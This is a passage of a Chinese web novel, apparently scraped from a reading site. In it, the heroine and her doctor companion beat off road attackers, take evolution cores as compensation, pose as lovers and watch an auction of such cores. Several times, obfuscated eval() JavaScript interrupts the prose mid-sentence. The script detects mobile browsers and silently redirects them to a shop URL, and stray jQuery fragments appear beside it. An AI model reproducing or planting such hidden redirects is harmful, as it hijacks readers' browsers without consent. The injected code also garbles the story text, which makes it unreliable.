“虽然说进化有无数种能力,我接触到的也只是一星半点儿,但身边进化的人无一不是在原有基础上进化的,比如说听力的加强是建立在我们有耳朵的基础之上。可古往今来,只有神话中的老虎有翅膀,现实中根本没有出现过,你能理解我的意思吗……” “我明白你的意思,正常的老虎无论再怎么进化都不应该长出翅膀,但万一它吃了一只进化过翅膀的鸟儿呢?” 原初看着前方的路,随口说道。 “……”林萤猛地看向原初,原本垂着的眼睛逐渐睁大,“有道理啊原医生,你真是个天才!我真是个榆木脑袋,我净想着移植进化核,完全忘了可以直接吞下去!” 究其原因,林萤归咎于在研究院的经历,那时候唐诗做了实验,一箱被喂了进化废液的小白鼠全部阵亡,导致现在的林萤下意识觉得直接吃进化核也会死亡,所以她一直没有往这个方向想。 原初难得谦虚道:“倒也没有那么厉害……” “难怪雪王的翅膀这么小,这应当是麻雀的翅膀。” 林萤垂下头,爱不释手地抚摸着雪王软乎乎的皮毛,指尖又轻轻从它的肉翅上划过。 汽车跟随导航的指引,逐渐驶离居民区,朝着工业园区行去。路变宽,楼变低,视野也变得宽阔,一个接一个的厂房出现在了路边。 林萤看向窗外:“这边离水青路有一段距离。” “是的,不过也没有太远,差不多半个小时。”原初说罢,看了雪王一眼,“等下不能带这个小家伙,得把他藏起来。” “倒是可以把它放在车里,就像之前那样……”林萤看了看,后排还有很大的空间。 “如果不查车的话,可以放进来,但是这次的拍卖会……”原初说到这里,略微思索片刻,“连路边买豆浆的阿姨都知道,可见知道这次拍卖会的人只会多不会少,鱼龙混杂,说不好会有人觊觎我们车里的东西……”原初说罢,看了看正在酣睡的雪王,又将视线移到林萤的包上,“不然放进你的包里?” 林萤想了想,“其实乍一看它挺像只宠物猫的,要是忽略它的小翅膀的话……” “这倒是不难……”原初的话刚说到一半,车身突然向前猛一冲,一声巨响从汽车尾部传来,伴随着从后方传来的喇叭声。 剧烈的震动惊醒了林萤怀里的雪王,它却并不害怕,只是站起身,四肢踏在林萤的腿上,来了一个“大猫趴”,而后抖抖身子,冰蓝色的眼睛望向后面。 “追尾了吗?”林萤看向车后。 “不,有人想逼停我们。”原初说着,看了一眼后视镜,解释道:“听说前段时间这边的厂子都停工了,路上根本就没有什么车,现在还往这边走的估计都是来验货的人。” 林萤瞬间便明白了,“对方知道我们手里有进化核!” “嗯,只是不知道他们是临时起意还是早就埋伏在这里,若是临时起意的其他人还好,就怕是举办方打着拍卖的噱头想要不劳而获……” 话刚说完,原初突然一脚油门踩下去,车拐了一个弯贴着路沿飞速向前开去。 “怎么了?”林萤抱紧雪王,有些惊魂未定。

35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781676|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > “对方还想再撞,迫不得已躲了一下。”原初说罢,又看了后方一眼,“他们还在紧追,抓紧了!” 林萤一只手将雪王捞到怀里,一只手扯着车座上方的把手,感受到车身在漂移,她的话也像飘在风里,“为什么要跑,我要下去跟他打!” “雪王。”原初只说了两个字,林萤立即闭上了嘴巴,她只能一边握紧扶手一边对怀里的雪王道:“小家伙,你换一个地方睡觉好不好,就睡我的包里吧?” 原本林萤没有指望雪王会听懂,却没想到她的话音刚落,怀里的雪王便跳进了背包里,它没有睡,仍是很警觉地站立着,毛茸茸的足下踩着一包薯片。 林萤惊讶地叫了一声,“快看快看,它真的能听懂我说的话!停车,现在该我们报仇了!” 林萤说罢,原初便来了一个急刹车,车子沿着路边停了下来,林萤将背包放在脚下,对里面的雪王道:“待在这里别出来,等我回来。” 两人下车并排站在一起,林萤顺手在路边捡了一个石头,拿在手中不断抛起又接住。 就见后方有一辆白色面包车紧追上来,似乎是没想到林萤他们会停,一时间还没来得及刹车,便听车胎“噗”地响了一声,紧接着,面包车的左前轮开始向下瘪去,整个车身失去平衡,歪歪斜斜地向前滑行近十米才堪堪停了下来。 车一停,门便被打开了,里面的人一涌而出,除了一个人留在车边查看轮胎,其他几个人都凶神恶煞地朝林萤二人走了过来。 原初惊道:“下来了一车面包人……” 林萤数了数,暗自惊讶这小小的车里居然坐了八个身强力壮的大汉,也不知道他们是怎么塞进去的。 “就是这个女的,拿那个石头把我们的轮胎给砸破了!” 说话的是一个黑皮大胖子,他虽然生得壮,但面部表情和肢体语言却像极了娇滴滴的小姑娘,说话时嘟着嘴,叉着腰,小眼睛一眨一眨,颇有故作天真的嫌疑,甚至连站立时都是内八腿。 黑皮大胖的旁边紧紧挨着一个耳后夹着香烟的男人,那个男人穿着一身皱巴巴的黑色西装,配着磨得光滑的炫金厚底增高鞋,不仅看上去有些不伦不类,走得也有点不稳,不时需要黑皮大胖子抬手扶一下。 林萤正一脸严肃紧盯着对面的来人,突然听到身边传来一句“高跷老大和他的男丫鬟”,她忍俊不禁,朝原初递去一个无奈又有些憋不住的笑容。 林萤的动作落在对面的眼里简直与挑衅无二,就见踩高跷的那人走在最前方,在离林萤还有两三米的地方站定,一脸怒容地打量着林萤和原初。他身后的人除了那个男丫鬟,皆是抱臂站立,齐齐排开,他们有着青檀男儿常见的高个子,站在一起压迫感挺强,只是个个圆肩驼背,体态上拖了后腿,使得这种压迫感大打折扣。 高跷男慢条斯理地看了看自己的身后,转过头来用鼻孔对着林萤,“刚刚弟兄们给你们打招呼,你们不理也罢,想不到你们还敢把我们的车轮弄坏,真是给脸不要脸……” 48. 阿七平风波 “哈哈!”林萤大笑两声,“原来你们管那个叫打招呼,你早说啊!” 说罢,她弯下腰,这次专门挑了一个大石头,收着力扔向对方的车,就见大石头在空中划了一个抛物线,“嘭”一声,落在面包车的车尾,将原本饱满的车屁股砸得凹了进去。正在检查前车轮的男子吓了一跳,直直栽倒在车边,恰好看到了车轮上那条如同大嘴般的裂痕。 这条裂痕从轮胎侧面贯穿到正面,切口边缘非常整齐,像是有人用刀具使劲切割而成。若不是亲眼见所见,不会有人相信这是扔出来的石子能做到的。这个女的不一般!检查车辆的男子有心想要提醒同伴,叫了几声却没人理他,只得作罢。 原初朝高跷男扬了扬下巴,“这是我们的回礼,不用谢!” “你们——”高跷男似乎噎了一些,他缓缓伸出一根手指,指尖正对着林萤的鼻子,“你们,好样的。我们撞你的车是给你面子,既然给脸不要脸,那就别怪弟兄们下手狠了!” 说着,他抬手一招,从后方走出一个青牛鼻的男人,男人重重地喘了一口气,两股白气像放大版的金针菇一般自他的鼻孔里喷了出来。 林萤一时有些拿不准对方是不是进化了鼻子的人,就见那青牛鼻又是重重一喘,路面上的几片落叶被风卷起,悠悠荡荡飘向远处,紧接着,就见他的额头两边冒出了一对小小的角,角是深褐色,只有小拇指大小,顶端看上去却很尖锐,在太阳下闪烁着锐利的光泽。 “吃了进化的牛。”原初恶魔低语。 林萤没忍住笑了一下,又赶紧瞪了他一眼。 “这种时候了你们两个还在打情骂俏,气死我了!” 只见青牛鼻蹬了蹬后脚,像头发怒的野牛一般,垂着头竖着角,径直撞向林萤。 此时所有人的目光都汇聚了过来,就连不远处那个正在检查轮胎的男子也站了起来。 他们心知肚明,早上来这里验货的大都不是普通人,但林萤看上去太无害,原初的脸又容易让别人忽视了他的其他特点,加之两人开的车又很扎眼,像是出来玩的二代,属于又菜又有货的那类羔羊式的猎物。所以他们才决定对林萤二人下手,只是没想到,似乎碰上了硬茬。 林萤站在原地没有躲藏,不过却将右手探了出来。 她迎着青牛鼻头顶上尖尖的角,似乎是想用自己的脆弱的手掌抵住尖锐的牛角,而她的目光正在青牛鼻的额间来回逡巡,终于在手指即将触到青牛鼻额间皮肤的那一瞬,找到了他体内的进化核。 然而,就在林萤手指微曲,要插进对方额头将他的进化核抠出来之时,突然从不远处传来一声枪响,“呯”一声,所有人都看了过去。 就见三辆黑色的商务车不知何时停在了道路侧方,从最前方车辆的副驾上下来了一个戴着墨镜的女子。 她穿着一件藏蓝色的风衣,下蹬及膝皮靴,小头小脸雪色皮肤,涂着吸睛的大红唇,顺直的马尾高高束在脑后,看上去英姿飒爽。 “打扰了,我是九鼎阁的阿七,几位都是去参加拍卖会的吧?”女子端着枪走到商务车的后方,视线在众人身上打了个转,声音婉转如黄鹂,“既然来了,就是我们九鼎阁的客人,在这里吹冷风有什么意思,我们早已备好了薄酒,就在不远处,请吧!” 林萤还没说话,就听对面的大汉们纷纷低语,“九鼎阁!”,“这场拍卖会竟然真的是九鼎阁办的!”...... 那个黑皮男丫鬟甚至扯了扯高跷男的胳膊,似乎是想把他拽走,“老大,要不算了吧......” 而林萤对面的青牛鼻的双脚则像是被定住了一样,不再向前迈,反倒站在原地缓缓转过头看向停在路中间的车和阿七手中的枪,而后便急速向后退去。 他们的识相很令阿七满意,她正要返回车上,就听见不远处传来一个女声。 “等一下!”林萤指着高跷男,“你们撞了我们的车,一没有道歉,二没有赔偿,不许走,先把这两件事解决了!” 最重要的是,车后面还放了一个进化的龟卵,也不知道有没有被撞碎,想到这点,林萤的心就在滴血。 对面的男丫鬟跺了跺脚,朝林萤嗔怒道:“你疯啦!九鼎阁,你没听说过九鼎阁吗?咱们在他们的地盘上闹事,人家都不追究了你还要怎样!” 原初道:“闹事的是你们,我们只是反击。” 林萤叉着腰:“不道歉不赔偿,别说是九鼎阁,哪怕是百鼎阁、万鼎阁,谁来了都没用!” “大姑娘你糊涂啊!”男丫鬟又急又怕,突然上前一步,拉着林萤的胳膊小声说道:“你们可能不知道,九鼎阁本来就是青檀的龙头,前几天有个人跟他们作对,直接人间蒸发了。我们在他的地盘上闹事,本来就可大可小,人家都不追究了,你可别昏头……” “想走当然可以啊,但是你们得先给我们赔修车钱。”林萤说着,指了指自己身旁的车,“你看,后备箱都撞开了。” 说着,她摊开自己的手,示意对方给钱。 “这……” 对面的一群人看向路中央的阿七,眼巴巴地想要求她做主,只见阿七皱了皱眉头,正要往林萤这边走,却突然停住了脚步,返回车的旁边。 林萤看见中间那辆车的后车窗开了一条缝,阿七弯着腰贴在窗边,里面的人似乎在说什么,阿七不断点头应承,态度恭敬面色凝重,显然里面那位的身份很是贵重。林萤远远看着阿七,想要偷听对方在说什么,阿七却突然转过头看了一眼林萤,这一眼带着审视和打量,不似之前那般目中无人。 片刻后,后车窗升了上去,就在窗子即将合上的一刹那,林萤看到了一双茶晶色的眼睛,那双眼睛也在看她,但紧接着,两人的视线便被车窗狠狠夹断。 阿七则是向高跷男的方向走了两步,随后道:“既然是你们闹事在先,那便应当赔偿他们。”说罢,她指了指林萤,又看了看原初。 “阿七姑娘,我们赔,我们赔!”男丫鬟忙不迭地说罢,几个大男人围在一起商量了一番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787139|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,半晌后,他们其中一个人跑回车上,抱了一个装月饼的大铁盒走了回来。 高跷男打开铁盒,里面是一个平平无奇的鸡蛋托。 “?” 林萤早就让原初打开了收款码,没想到到对方来了这一茬,她一时没绷住,问道:“青檀不止鸡蛋贵,蛋托也很贵吗?” “不是,姑娘,不是……”男丫鬟一边摆手一边示意林萤往前走走,“哥几个都是穷光蛋,身上没现金卡里没存款,今天来就是想卖几个灵珠赚赚钱,你瞅瞅,选一个抵债,行吗?” 林萤向前走了两步,仔细一看,才发现蛋托的最下面有一粒一粒比绿豆还小的进化核,这些进化核被蛋托一一分隔开来,颜色不一,却都看上去莹润光亮——如假包换的进化核。 林萤狐疑地看向高跷男,“这些灵珠是从哪里弄来的?” 眼前这些进化核明显是从动物体内拿出来的,数量又算得上多,联想到青檀动物园那些死去的动物,林萤不由得有此一问。 “姑娘别误会,这都是我们自己的东西,不是偷的也不是抢的。”高跷男道:“我们是北郊奶牛厂的,那边许多牛进化了,这是杀了牛,从牛的身体里取出来的。你别看这么点东西,整整花费了我们两天两夜才取完!” 林萤轻轻嗅了嗅,果然嗅到了一股牛粪味。她想了想,在一众进化核中挑了一个色泽最绚丽的,刚把进化核放在原初手心,就听后者说道:“一颗不够,再拿一颗。” 说罢,原初朝林萤眨了眨眼。 眼见高跷男几人肉疼地想要拒绝,原初温和一笑冲鸡蛋托扬扬下巴,“我觉得还是不够,拿三颗吧,毕竟最近物价上涨太厉害,这点钱怕是不够修车的。” “你——”黑丫鬟一口咬住了自己的衣领。 “呃……要不还是四颗吧?以防万一。” “别,别,三颗就三颗!真是倒了大霉了!”高跷男忙护住了自己的铁盒,又瞥了一眼旁边抱臂静观的阿七合靠在她肩膀上沉默的真理,最终,还是把那股郁气不情不愿咽了下去。 三颗进化核到手,林萤心满意足,学着原初的样子朝高跷男扬扬下巴,“两清,你们走吧!” 说罢,她冲阿七点点头,道了一声:“谢谢。” 阿七抬眉笑了笑,“你们的车还能开吗?要不要去坐我们的车,还有位置。” 林萤摇了摇头,谢过阿七的好意。 “阿七姑娘我们能坐你的车吗……”那个一直沉默的修车男突然问道,旁边的男丫鬟立即拍了他一把,示意他不要再说了,可修车男有些委屈地道:“可咱们的车坏了,开不了了!” “闭嘴啊,我让你闭嘴!”高跷男跳起来捂住他的嘴,然后咬咬牙说:“就快到了,这点路咱们走过去就成!” 说罢,他又转过身,带着自己的人对阿七和她身后的车鞠了一躬,接着一晃一晃地向前走去,风刮来了黑丫鬟有抱不平的声音,“老大,咱们以后可得把招子放亮点,别惹了不该惹的人……” 49. 假装情侣 随着高跷男几人的离开,阿七一行的车也很快离去,林萤这个时候才发现不远处的灯柱上都架着摄像头,应当是九鼎阁的,也难怪他们能第一时间发现这里的风波。 “我们也出发吧!”原初转过身,朝路边的车走去。 “后备箱里的东西没问题吧?”林萤来到车尾看了看,就见后方只是凹了一个小坑,后备箱还是可以正常关合,被放进盒子里的龟卵也完好无损。 反观高跷男那波人,最初的冲撞使得他们的前车灯撞碎,而后又被林萤砸破车轮砸扁车尾,伤敌一百自损一千,此刻正垂头丧气地向前走着,不时爆出几声埋怨。 林萤望了望车外的摄像头,迅速钻进车里,而后她对原初说了两声,两人调转车头,向后开了一段,又下车观察一番,随后才放下心来。 如林萤设想的那般,这些摄像头只覆盖了拍卖会附近的一片区域,远处并没有。也就是说,雪王的事情鼎阁应该还不知道。不过这也给林萤提了一个醒,虽然现在青檀监控不到位,但是仍有许多被覆盖的地方,暗处有不少眼睛,做事更要谨慎一些。 “小老虎啊小老虎,委屈你了,我想把你的翅膀像藏起来……” 林萤坐上车,接过原初递来的手帕,对折成三角形,盖在白虎的虎背上,接着又绕到腹部打了一个结,看上去就像是专门给宠物穿的衣服一样。白虎任由林萤动作,被放进书包后立即团成一团,闭着眼睛打起了瞌睡。 原初顺手将车门关上,“它倒是挺信任你。” 林萤笑了笑,随口道:“嘿嘿,你也一样,你来青檀不就是因为我吗?” 林萤的话才一出口,原初就像是被煮熟的龙虾,整个人涨得通红,他刚系好安全带,却推开车门忙不迭想要下去,结果又被安全带扯了回来。 “……” “原医生,您要把车背走吗?”偏偏林萤不放过他,一边嘴上打趣,一边笑眯眯观察原初的窘态。 “林萤……” “嗯?” “你原来是这样的人……” “怎么了呢?” “你,真是……真是坏透了!” “原医生。” “嗯?” “婚否?” “没有结婚,也没有女朋友。” “那么,从现在起我们来扮演一对热恋的情侣,一个合适的身份更有利于我们的行动。你说呢?” “……乐意至极。” 车里的空调静静地吹着,却吹不散原初脸上的红霞,当汽车驶入九鼎阁的停车场时,他仍然像是蒸了一个小时的桑拿,连脖子都透着粉色。果然,人好看什么时候都好看,林萤的目光从原初光洁额头落到挺直的鼻梁又移到粉色的唇和精致的下巴,而后在原初又震惊又羞涩的目光中,大大方方地看向他粉色的喉结。 她坦诚地欣赏,直让原初招架不住,一路欲言又止。 “……” 下了车,停车场里也有不少人,林萤看到许多人带着口罩和墨镜,还有人套着面罩,显然是不想让人认出来。 林萤想了想,发现除了撕下一块衣角像劫匪一样把脸遮住,没有其他办法能挡住自己脸。正在这时,原初仿佛洞悉了她的想法,直接从扶手箱里拿出预备的口罩,给林萤分了一个,又带上墨镜,一番武装后,才向会场走去。 “可以啊原医生,这些东西都备着。” “纠正一下,现在开始你得叫我男朋友。”原初似乎已经从羞涩中回过神来,他道:“这些都是防晒必备品,毕竟我有一个对皮相要求很高的女朋友,不注意外表不行。” 林萤抿着嘴笑了笑,“说的也是!” 林萤将从高跷男那里得到的三枚进化核和买早餐时掉落的那颗进化核拿了出来,打算就先将这四枚估个价,然后卖出去,其中那枚掉落的进化核来自红雨衣,是手部进化的产物,林萤将它拿在手里颠了颠,又将几枚同时包在了一张卫生纸里。 林萤原本不想卖掉这枚进化核,可今天早上,它被别人捡到了,也就是说被发现了。 而且,她总觉得今天早上帮自己捡东西的男生的双眼和坐在九鼎阁商务车后的那双眼睛很像,不仅都是偏透明的茶晶色,就连眼底的那种淡淡的疏离和忧伤也有点像,这让林萤不得不留心。 人的进化核和动物的进化核看上去很像,如果打乱,基本上用肉眼难以辨认,但是林萤的眼睛进化过,她能看到进化核之间细小的区别,最明显的就是属于人类的进化核上会有一条隐隐的血线,而动物的并没有,也不知道九鼎阁会如何鉴定这些进化核的来源。 林萤和原初到时,会场外面已经聚集了不少人。男女老少,形形色色的人都有,有的穿着斜三杠,像是进城办事的人;有的开着三轮车,车后拉着三五个人,像在卖菜;还有的似乎来的很早,支着小帐篷在吃泡面。总之,乍看上去闹哄哄像个集市。 除了来鉴定进化核的人,其余便是颇有气质的九鼎阁成员,他们十步一岗哨,五步一护卫。负责守卫的人大多是二十来岁的健壮男子,林萤粗略地看其精气神,发现这些男子大都是进化过的,他们端着枪,穿着藏蓝色的制服,整齐划一,目光坚毅,显然是训练有素的一帮人。除此之外,林萤还发现暗处有不少打扮成普通人的护卫,以及天空中伪装成飞鸟的无人机。 林萤能感觉到从自己一出现在会场门口,便有七八道目光聚集在她的身上,将她上下打量,更有一股不明的射线将她的身体扫描了一遍。 ——这个九鼎阁不简单啊! 幸亏她没有将雪王带在身上,否则怕是一冒头就要被发现。 林萤心下忐忑面上却不显,她挽着原初的手臂,像一个涉世未深的小姑娘,好奇地东张西望,打量着眼前这个临时会场。 说是会场,单看上去像是由一个大厂房改造的巨大空间,大概是为了安全,入口处并不宽敞,左右两边各站着一个跟阿七同样打扮的接待,看见林萤二人,右边的接待迎上前来。 她先是询问了一下林萤二人有几颗需要拍卖的进化核,然后给了林萤同等数量的透明密封袋,又将一个印有编号的号码牌贴在密封袋的上面,最后将两个手环递给林萤和原初。 林萤低头看了看,手环上的编号与密封袋上的号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795513|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 码完全一致。 待进了会场,又是另一幅井然有序的画面,一个被规划成川字形的大会场出现在林萤二人面前。 川字的最左边,也就是距离林萤最近的地方是几排长队,队伍前方是五张桌子,每张桌子后面都坐着两个穿着淡蓝色衣服带着白手套的人,他们的面前放着标有A、B、C、D以及S的金属盒子,一个人正在查看进化核,另外一个正将一袋袋进化核整整齐齐地码进盒子里。 桌子的旁边有几个工作人员正在疏导人群,而队伍里的人都拿着贴有号码的密封袋在紧张地排队。 ——人真多啊! 林萤和原初对视一眼,排在了队尾。 两人刚刚站定,就听到前方传来了争执声。 “这是我亲手挖出来的灵珠,怎么就变成沙子了呢?你再给我验验!” “这位先生,请你冷静一点,我说了,这的的确确是沙子,不信你可以放在嘴里咬一下,试试看硌不硌牙。” “那灵珠那么硬,也硌牙啊!你再看看,这是我背着我老婆把她养了5年的猫杀了才取出来的,那个猫有泰迪那么大,牙特别尖,被我按住的时候把我的手掌都快咬穿了!但它居然进化了出了稀有的意念交流,能对人说话了!你一定再看看,我不相信这是沙子,我不相信……” 男人说着,似乎又将手里的东西推了过去。 “先生,您请回罢,这个真的不是灵珠……” “你胡说!怎么可能,我亲手挖出来的,我还能不知道嘛?是不是你们偷偷换的,是不是你们!还是说,那个贱人乘我不注意做的?你说,你们说,啊?说话呀!” 就见验货的工作人员冲一旁的护卫使了个颜色,很快,便有两个人将那个男子“请”出了队伍,男子一开始还在挣扎,但不知为何,很快便软绵绵地被拖走了。 经过这一风波,队伍安静了许多,验货的速度也变快了,不多时,便排到了林萤。 她先是将那三个牛的进化核递给正对面的工作人员,就见对方先是一一看过,而后打开密封袋,将几个进化核放在鼻尖挨个轻嗅了一下,而后对旁边的人道:“C级,来源家畜。” 真厉害,竟然只用了不到两分钟就判断出来了。 林萤又将装有红雨衣进化核的袋子递了过去。 对面的工作人员先是漫不经心地看了一眼,而后面色微变,接过林萤的袋子,轻轻打开,放在手心左看右看,然后道:“S级。” 工作人员的话音刚落,林萤便感觉到了四面八方传过来的视线。 “S级,这是今天第二个S级吧?” “是,我记得清清楚楚,是第二个。” “S级无一例外都是从人身上取的,这姑娘看着柔弱,难不成她杀了人?” “谁知道呢,人不可貌相,前段时间那个萝莉杀手就看不出来呢!” 林萤带着口罩,面不改色心不跳,在鉴定出S级后,她和原初便被领到了会场内间二层的一所房间。这里的陈设和普通的套房无异,不同的是里面有一个通往外侧的单行观景台,只有这边能过去,从那边过不来。 50. 九鼎拍卖会 带领他们过来的是一个自称“阿九”的男子,他穿着九鼎阁钟爱的藏蓝色,发型清爽面容白净,举止更是彬彬有礼,单从谈吐间便可窥得九鼎阁用人之道颇具实力。他在内间的会客厅坐下,询问林萤两人:“请问,两位确定要出手这枚灵珠吗?” 林萤点点头。 “请问一下,这个灵珠的能力是什么?” 林萤道:“对方是个手部进化者。” “手部进化……”阿九将林萤所说记下来,又道:“如今S级灵珠供不应求,底价大概在1000万左右,您可以选择直接卖给我们,也可以参与拍卖。拍卖的分成为四六分,我方四,贵方六,其余费用都由我方承担,请问两位是选择拍卖这颗灵珠还是直接卖给我们?” 林萤在听到一千万时,心里就有只仙鹤在翩翩起舞,耳边也响起了流水的进财声,一时间飘飘然,连阿九接下来的话也听得不是很真切了。如今被问到这个问题,下意识便看向了一旁面色如水的原初。 原初感受到林萤的目光,投给她一个安心的眼神,而后道:“我们一共有四颗灵珠,还有三颗C级的,都选择拍卖。” 林萤点点头,“听我男朋友的吧!” “好的,还请您二位在这里等一等,有什么事情都可以联系门外的工作人员,稍后会有午餐给您送进来,我们的拍卖将在下午两点开始,到时候我们会安排您观看。另外,这是我们九鼎阁联系人的名片,以后有货,可以直接联系我们。” “好的。”林萤点点头接过名片,送阿九出门。 对方在门口礼貌地站住脚步,转过身来轻轻带上身后的门,“两位请便。” 回到屋里,林萤的眼神亮晶晶,“一千万!竟然有一千万!” 原初笑了笑,眼睛突然看了看斜上角。林萤轻轻一跳,迎面瘫倒在沙发上,而后翻过身正对房间的天花板,她发现了隐藏在消防喷淋头上的隐形摄像头。 她朝原初伸开双臂,眨眨眼,“男朋友,要抱抱!” 原初红着耳尖过去想要蹲在林萤身边,却被她一把扯住直接压在了身上,而后,林萤贴着他通红的耳朵蹭了蹭,神态亲昵语气冷静,她问:“雪王怎么办?” 雪王还在包里,包还在车里,车停在停车场上,为了保证通气,原初特意给车窗留了一个缝隙。目前是安全的,但时间一长,保不准它会跑出来,林萤也怕有人会去翻自己的东西,毕竟她刚刚拿出了一颗S级的进化核,难保没有因财心动的人。 原初僵硬地蹭了蹭她的脸,“不要担心,我刚才将车内监控连在了手机上,随时可以看到车里的情况,有什么意外,监控也会提示我。如果你担心雪王吃饭的问题,吃过饭我们可以去喂喂它……” “我想看。” 林萤就像是离了孩子的老母亲,忍不住挂念,然而她余光瞄了一眼屋顶的监控,将自己的担忧收敛起来,转而推了推原初,“去床上。” 毫无疑问,卧室也有监控,还很不地道地正对着床。 林萤趴在床上,拉过被子将自己和原初盖住,打开手机查看车里,就见车里的画面一直处于静止状态,而自己的包仍是离开时的形状,被拽的脱线的拉链也保持着原来的模样。 林萤的心顿时安定下来,而后又回想起1000万的事情,这个价格虽然比传说中的一个亿要低很多,但却比林萤预想中的更高一些,而且得来全不费工夫,可谓一本万利。 她忍不住一抖一抖笑了出来。 “男朋友,我有钱了……” 监控的另一头,一双眼睛盯着不断抖动的床和露在被子外的四只脚,细长的手指微微发力,剪断了放凉的雪茄。 吃过中午饭后,林萤和原初先是全副武装去停车场喂了喂雪王,又来到了屋子外面的单行观景台。这边是个单向玻璃,里面的人能看见外面,外面的人却看不见里面,林萤和原初在双人沙发上坐下。 她小声问:“对了,我忘记问你了,你之前为什么不直接把进化核卖给他们,有什么特别的理由吗?” 原初略作沉思,道:“其实没什么特别的理由,只是我们下午正好有空,你需要钱,拍卖的价格一般会高于收购价,而且我猜你一定也想参加拍卖会。” 林萤“嗯”了一声,“我确实挺想看看的。” 说罢,她向下望去。二楼的视野很好,右后区的位置可以将会场的情况一览无余。 斜前方是主席台,主席台的后方是一个巨大的屏幕,屏幕上滚动着数张进化核的照片,照片的下方是文字介绍。林萤特意看了一下,展示出来的基本都是C级进化核,偶尔夹杂着两三个B级,A级一个都看不到,更不要提S级了。 林萤特意看了一下,自己手中那三枚C级的进化核也在展示之列,除此之外,持有C级最多的便是那帮养殖场的人,林萤也看到了他们的进化核。 主席台的下方是呈品字形的观众坐席,最前方是VIP预留区,再后面便是普通坐席和委托竞买席。此时,无论是前方还是后方,都坐满了人,林萤还在人群中看到换了一身装束的阿七,她也坐在观众席上,似乎是接了委托的任务。 “铛——” 两点的钟声响起,人群的声音变小,伴随着开场音乐,一个穿着套装,盘着秀发的中年女性走上了主席台。她长面狭鼻,淡妆得体,一双眼睛泛着智慧的花火,最有特色的是她的唇,薄且长,嘴角抿在一起的时候,简直就像是漫画里的线条唇,唇边一颗小痣,更显得她的知性。 这是一个能把猪粪说成黄金的女人。 “欢迎各位远道而来亲临这场别出心裁的拍卖会,这是全青檀乃至全国范围内的第一场关于灵珠的拍卖会,今天我们将会给大家带来一系列令人大开眼界的、有非凡价值的物品,让我们一起见证这足以载入史册的盛会!” 伴随着热烈的掌声,拍卖开始了。 开胃菜是一个C级的进化核,是从马身上取下来的,功能是长途走路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17800800|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 也不会累,原初看着这个进化核的介绍,小声道:“这难道就是传说中的千里马?” 林萤点点头,“可不就是,进化的还是马场里的马,要在野外估计很难抓住。” 这枚进化核的最终售价是20万,不算高也不算低,差不多就是个普普通通的开局。接下来,又是两个C级,分别卖出了30万和10万的价格。 眼见观众越来越兴致缺缺,主持人适时拿出一个B级进化核,进化核的图片和介绍刚一放上屏幕,人群便开始沸腾。 这是一个从野生麋鹿身上取出来的进化核,据说这只麋鹿进化出了强大的肾脏和极强的繁衍能力。尽管看不见,林萤也能从主持人越来越高亢的音调中感觉到现场观众眼中的狂热,起价100万,第一个出价的人就将它的价格直接抬到了500万。 野生、麋鹿、强大的肾脏,这些组合在一起,让人们无比神往,随之而来便是价格也越来越高。当林萤还没有数清楚上一个报价的人出的数目有多少个零,竞价已尘埃落定,最终,这枚麋鹿的进化核以6000万的成交价成了目前最高价。 林萤暗自咂舌,“没想到这方面的市场需求那么大……”她眼睛一转看向身侧,就见原初默默地举起小茶几上的宣传册,缓缓挡住了她的视线。 B级过后,又是一连串的C级。 林萤看到了自己那三枚用来赔偿的进化核,这三枚被一个男人打包购入,共计60万。这笔钱不算多,但用来修车绰绰有余,林萤已经很满足了。 众人对C级的进化核已经见怪不怪,拍卖会的气氛也逐渐变冷,但接下来,擅于控场的女主持立即拿出了一个A级进化核,将整场又送上一个小高潮。 这枚A级进化核足足有鸡蛋那么大,据说是从海洋动物中提取的,植入体内后便不会再惧怕海水,甚至可以在潜入海中半个多小时都不用换气。林萤对这个很感兴趣,她仔细看了看介绍,发现这是从鲸鱼体内挖出来的,难怪这么大。 “喜欢?”原初问到,说话间便拿起了旁边的座机,上面有接通现场的专号。 